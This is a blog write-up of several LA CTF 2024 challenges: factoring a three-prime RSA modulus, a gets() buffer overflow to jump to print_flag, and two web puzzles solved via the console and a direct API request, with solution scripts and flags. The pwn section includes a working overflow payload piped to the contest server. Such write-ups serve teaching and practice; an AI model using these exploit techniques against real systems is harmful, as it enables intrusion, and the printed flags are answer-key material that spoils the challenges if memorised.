LA CTF 2024 Writeup

Isopach · February 18, 2024

Been a long, long time since I last touched CTFs. It wasn’t any official team by any means, so I had to do multiple categories by myself in the few hours limited weekend time I had for the CTF. The placing wasn’t anything close to the top so I would skip the mention this time.


Crypto


Very Hot

Category: Web | 418 solves | 216 points

Challenge Description I didn't think that using two primes for my RSA was sexy enough, so I used three.

This is a multi-prime RSA challenge.

It follows the same concept of the typical 2 primes.

src.py

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG

FLAG = bytes_to_long(FLAG.encode())

p = getPrime(384)
while(not isPrime(p + 6) or not isPrime(p + 12)):
    p = getPrime(384)
q = p + 6
r = p + 12

n = p * q * r
e = 2**16 + 1
ct = pow(FLAG, e, n)

print(f'n: {n}')
print(f'e: {e}')
print(f'ct: {ct}')

out.txt

n: 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799
e: 65537
ct: 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985

From this, we can interpret that the ϕ(n) is the product of 3 primes p, q=p+6, and r=p+12. The public exponent e was set to the common value.

The solution was to factor n, like most introductory crypto challenges. Using basic math, we can make an equation for p.

q = p + 6
r = p + 12
eq = p * q * r - n
sol = solve(eq, p)

We get the result of

p=21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842077

Using the same equation in line 3, we can write ϕ(n) as ϕ(n) = (p-1) x (q-1) x (r-1), an elementary quadratic equation.

By using the modular inverse of ϕ(n) via mod_inverse(e, phi_n), the value of the private key d can be calculated, which leads us to the flag.

solve.py

from sympy import symbols, solve, mod_inverse

n = 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799
e = 65537
ct = 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985

p = symbols('p', integer=True)
q = p + 6
r = p + 12
eq = p * q * r - n

sol = solve(eq, p)

p_value = sol[0]
q_value = p_value + 6
r_value = p_value + 12

phi_n = (p_value - 1) * (q_value - 1) * (r_value - 1)
d = mod_inverse(e, phi_n)

flag = pow(ct, d, n)
flag_bytes = flag.to_bytes((flag.bit_length() + 7) // 8, 'big')

print(flag_bytes)
FLAG lactf{th4t_w45_n0t_so_53xY}


Pwn


Aplet123

Category: Pwn | 251 solves | 338 points

Challenge Description bliutech: Can we get ApletGPT?
me: No we have ApletGPT at home.
ApletGPT at home:

nc chall.lac.tf 31123

aplet123.c (shortened by me)

void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}

int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input);
    char *s = strstr(input, "i'm");
    if (s) {
      printf("hi %s, i'm aplet123\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}

print_flag function from IDA

public print_flag
print_flag proc near

stream= qword ptr -118h
s= byte ptr -110h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 120h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
lea     rax, modes      ; "r"
mov     rsi, rax        ; modes
lea     rax, filename   ; "flag.txt"
mov     rdi, rax        ; filename
call    _fopen
mov     [rbp+stream], rax
mov     rdx, [rbp+stream] ; stream
lea     rax, [rbp+s]
mov     esi, 100h       ; n
mov     rdi, rax        ; s
call    _fgets
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
nop
mov     rax, [rbp+var_8]
sub     rax, fs:28h
jz      short locret_40125F

We can determine that the buffer size is

Getting the flag address:

$ objdump -D aplet123 | grep print_flag
00000000004011e6 <print_flag>:
  401258: 74 05                            je    0x40125f <print_flag+0x79>

Little-endian format would be \xe6\x11\x40\x00\x00\x00\x00\x00.

Writing the buffer overflow…
python -c 'import sys; sys.stdout.buffer.write(b"A"*272 + b"\xe6\x11\x40\x00\x00\x00\x00\x00")' | nc chall.lac.tf 31123

Which leads to the flag.

FLAG


Web


Terms and Conditions

Category: Web | 747 solves | 107 points

Challenge Description Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!
terms-and-conditions.chall.lac.tf

view-source

const accept = document.getElementById("accept");
document.body.addEventListener("touchstart", (e) => {
    document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>";
});
let tx = 0;
let ty = 0;
let mx = 0;
let my = 0;
window.addEventListener("mousemove", function (e) {
    mx = e.clientX;
    my = e.clientY;
});
setInterval(function () {
    const rect = accept.getBoundingClientRect();
    const cx = rect.x + rect.width / 2;
    const cy = rect.y + rect.height / 2;
    const dx = mx - cx;
    const dy = my - cy;
    const d = Math.hypot(dx, dy);
    const mind = Math.max(rect.width, rect.height) + 10;
    const safe = Math.max(rect.width, rect.height) + 25;
    if (d < mind) {
        const diff = mind - d;
        if (d == 0) {
            tx -= diff;
        } else {
            tx -= (dx / d) * diff;
            ty -= (dy / d) * diff;
        }
    } else if (d > safe) {
        const v = 2;
        const offset = Math.hypot(tx, ty);
        const factor = Math.min(v / offset, 1);
        if (offset > 0) {
            tx -= tx * factor;
            ty -= ty * factor;
        }
    }
    accept.style.transform = `translate(${tx}px, ${ty}px)`;
}, 1);
let width = window.innerWidth;
let height = window.innerHeight;
setInterval(function() {
    if (window.innerHeight !== height || window.innerWidth !== width) {
        document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>";
        height = window.innerHeight;
        width = window.innerWidth;
    }
}, 10);

The “Accept” button is set to move away from your mouse pointer so all you have to do is access it via JavaScript.

Solution

document.getElementById("accept").click()
FLAG lactf{that_button_was_definitely_not_one_of_the_terms}

Flaglang

Category: Web | 588 solves | 137 points

Challenge Description Do you speak the language of the flags?
flaglang.chall.lac.tf

The strategy was to read the source files and web source.

countries.yaml

%YAML 1.1
---
Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"
  deny: [List of all other country ISO codes]

We learn that the country name for the flag is Flagistan.

I wasted some time here by writing a script to check for countries not listed in the denylist.

with open('countries.yaml', 'r',encoding='utf-8') as file:
    countries_data = yaml.safe_load(file)

iso_codes_list = []
for country, details in countries_data.items():
    iso_codes_list.append(details['iso'])
	
countries_not_denied_by_flagistan = [iso for iso in iso_codes_list if iso not in flagistan_deny_list]
print(countries_not_denied_by_flagistan)

But alas, the deny list included every other country present in the YAML file.

Checking the source files of the webpage:

flag.js

// set value of country we are viewing
$('.other-flag select')[0].addEventListener('change', async (e) => {
  const newCountry = e.target.value;
  const resp = await fetch('/view?country=' + encodeURIComponent(newCountry))
    .then(r => r.json());
  if ('err' in resp) {
    $('.error')[0].style.display = 'block';
    $('.error')[0].textContent = resp.err;
  }
  else {
    $('.error')[0].style.display = 'none';
    $('.other-flag span')[0].textContent = resp.msg;
    $('.other-flag img')[0].src = flagSrc(resp.iso);
  }
});

Country can be viewed directly from the /view? endpoint.

Hence the solution is:

$ curl https://flaglang.chall.lac.tf/view?country=Flagistan
{"msg":"lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}","iso":"FL"}
FLAG lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

Twitter, Facebook